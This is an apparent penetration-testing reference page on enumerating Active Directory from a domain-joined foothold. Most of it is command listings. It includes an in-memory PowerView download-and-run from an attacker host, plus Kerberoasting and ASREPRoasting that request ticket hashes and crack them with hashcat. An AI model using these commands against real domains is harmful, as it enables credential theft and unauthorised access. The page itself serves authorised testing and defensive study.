# Active Directory Enumeration

> Techniques for enumerating AD objects, users, groups, GPOs, trusts, and misconfigurations using tools like BloodHound, ldapsearch, and PowerView.

- **URL:** https://hackindex.io/platforms/windows/enumeration/active-directory-enumeration
- **Path:** Windows > Enumeration
- **Up:** [Enumeration](https://hackindex.io/platforms/windows/enumeration.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Active Directory enumeration maps the domain structure, trust relationships, and delegation configurations that make up the attack surface of a Windows domain environment. The goal is identifying objects that can be abused for privilege escalation or lateral movement:

- Domain admins and high-privilege group memberships
- Kerberoastable and ASREPRoastable accounts
- Unconstrained and constrained delegation configurations
- Trust relationships between domains and forests

All techniques here run from a domain-joined foothold with a regular domain user account.

## Domain basics

**Domain information**

```powershell
# Current domain and forest
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

# Domain controllers
nltest /dclist:$DOMAIN
nslookup -type=SRV _ldap._tcp.dc._msdcs.$DOMAIN

# Domain trusts
nltest /domain_trusts
nltest /domain_trusts /all_trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# Domain functional level and policies
net accounts /domain
```

## LDAP queries with ADSI

ADSI searcher runs LDAP queries without any additional tools. It works on any domain-joined host with a standard user account.

**ADSI LDAP queries**

```powershell
# All domain users
([adsisearcher]"objectCategory=person").FindAll() | ForEach-Object {$_.Properties['samaccountname']}

# All domain computers
([adsisearcher]"objectCategory=computer").FindAll() | ForEach-Object {"$($_.Properties['name']).$($_.Properties['dnshostname'])"}

# All domain groups
([adsisearcher]"objectCategory=group").FindAll() | ForEach-Object {$_.Properties['cn']}

# Service accounts (SPN set: Kerberoastable)
([adsisearcher]"(&(objectCategory=person)(servicePrincipalName=*))").FindAll() | ForEach-Object {
    [PSCustomObject]@{
        User = $_.Properties['samaccountname'][0]
        SPN  = $_.Properties['serviceprincipalname'][0]
    }
}

# Accounts with no pre-auth required (ASREPRoastable)
([adsisearcher]"(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))").FindAll() | ForEach-Object {$_.Properties['samaccountname']}

# Accounts with passwords that never expire
([adsisearcher]"(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=65536))").FindAll() | ForEach-Object {$_.Properties['samaccountname']}
```

## PowerView enumeration

PowerView provides a comprehensive set of AD enumeration functions. It runs entirely in memory and does not require RSAT or domain admin rights.

**PowerView key queries**

```powershell
# Load PowerView
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/PowerView.ps1')

# Domain info
Get-Domain
Get-DomainController
Get-DomainTrust

# Users
Get-DomainUser | Select-Object samaccountname, description, pwdlastset, lastlogon
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname

# Computers
Get-DomainComputer | Select-Object dnshostname, operatingsystem, lastlogon

# Groups and memberships
Get-DomainGroup | Select-Object cn
Get-DomainGroupMember -Identity 'Domain Admins' -Recurse

# GPOs
Get-DomainGPO | Select-Object displayname, gpcfilesyspath

# ACL: find objects where current user has interesting rights
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match $USER}
```

## Kerberoasting candidates

Any domain account with a Service Principal Name set can have its Kerberos TGS requested by any authenticated user and cracked offline. Identify them here, then request tickets.

**Kerberoast from Linux**

```bash
# Find and request all Kerberoastable SPNs
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request

# Output hashes to file for cracking
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile kerberoast.txt

# Crack with hashcat
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
```

**Kerberoast from Windows with Rubeus**

```powershell
# Request all TGS tickets for Kerberoastable accounts
C:\Windows\Temp\Rubeus.exe kerberoast /outfile:C:\Windows\Temp\hashes.txt

# Target specific user
C:\Windows\Temp\Rubeus.exe kerberoast /user:svcaccount /outfile:C:\Windows\Temp\hashes.txt
```

## ASREPRoasting candidates

**ASREPRoast from Linux**

```bash
# Find accounts with pre-auth disabled and request AS-REP
impacket-GetNPUsers $DOMAIN/ -dc-ip $DC_IP -no-pass -usersfile users.txt
impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request

# Crack with hashcat
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```

## References

- [PowerView: PowerSploit GitHub](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) - Full function reference for AD enumeration
- [Impacket GetUserSPNs and GetNPUsers: GitHub](https://github.com/fortra/impacket) - Kerberoasting and ASREPRoasting from Linux